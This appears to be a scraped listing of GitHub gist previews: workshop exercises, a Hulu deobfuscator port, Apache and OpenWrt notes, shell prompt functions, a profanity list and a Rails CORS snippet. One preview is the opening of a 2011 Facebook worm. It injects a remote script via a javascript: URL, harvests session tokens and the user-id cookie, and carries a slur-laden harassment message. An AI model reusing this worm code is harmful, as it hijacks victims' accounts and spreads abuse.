Some exercises from the Falsy Values workshops.
The good parts:
- HTTP server and client in same script
- Express cookies example
- Express routing example
- Express error handling
- Express middlewares example
- Simple HTTP proxy
| """ | |
| I'm a python port of Hulu's javascript for deobfuscating certain ajax responses. | |
| As of 2009-April-05, I've been tested on Python 2.5.2. | |
| A usage example that relies on BeautifulSoup (http://bit.ly/3Ks24u): | |
| import urllib | |
| from BeautifulSoup import BeautifulSoup | |
| url = "http://www.hulu.com/channels/Drama/?kind=videos&sort=rating&type=tv" | |
| text = urllib.urlopen(url).read() |
| # This httpd.conf will set up Apache to create a basic key-value store in a | |
| # log file. Requests should be in the following format: | |
| # | |
| # http://hostname:8080/logr/key/value | |
| # | |
| # The log file will print a log line per request storing the key and value. | |
| # I'd recommend using some log rotation method to parse the results into an | |
| # accessible data store. | |
| # | |
| # An example request: |
| # | |
| # How to install openwrt 8.09.2 on the ar7-based Actiontec GT704-WG / GT704WG | |
| # | |
| # Basically an amalgamation of the helpful guides here: | |
| # | |
| # http://hackingwithgum.com/2009/09/17/installing-openwrt-on-the-actiontec-gt-704wg/ | |
| # | |
| # and here: | |
| # | |
| # http://wiki.openwrt.org/oldwiki/openwrtdocs/installingar7#flashing.via.ftpone.image.file |
| // curl http://api.twitter.com/status/show/11697903791.json?extended=yes | |
| { | |
| "coordinates": null, | |
| "truncated": false, | |
| "favorited": false, | |
| "created_at": "Tue Apr 06 16:52:58 +0000 2010", | |
| "text": "Yahoo Considers Buying Foursquare For ~$100 Million $YHOO by @nichcarlson http://bit.ly/cYS4Ac", | |
| "contributors": null, | |
| "id": 11707632203, |
| function parse_git_branch() { | |
| git branch 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/(\1) /' | |
| } | |
| function breadcrumb() | |
| { | |
| echo $1 | sed "s|^$HOME|~|" | awk -v n=$2 '{ | |
| # Split the path into components | |
| count = split($0, components, "/") |
| // 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted). | |
| var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below."; | |
| var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();"; | |
| var myText = "Remove This App"; | |
| var post_form_id = document.getElementsByName('post_form_id')[0].value; | |
| var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; | |
| var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); |
Some exercises from the Falsy Values workshops.
The good parts:
| easterEgg.BadWorder.list={ | |
| "4r5e":1, | |
| "5h1t":1, | |
| "5hit":1, | |
| a55:1, | |
| anal:1, | |
| anus:1, | |
| ar5e:1, | |
| arrse:1, | |
| arse:1, |
| Description of AHF1 algorithm: | |
| Initialize the four bytes H[0], H[1], H[2], H[3] to respectively 8D CA 2E 35 | |
| Initialize IDX to 0 | |
| For each byte B in the string to hash: | |
| TARGET = (B XOR H[IDX]) MOD 4 | |
| H[TARGET] = H[TARGET] XOR B |
| class ApplicationController < ActionController::Base | |
| protect_from_forgery | |
| after_filter :set_access_control_headers | |
| def set_access_control_headers | |
| headers['Access-Control-Allow-Origin'] = '*' | |
| headers['Access-Control-Request-Method'] = '*' | |
| end | |
| end |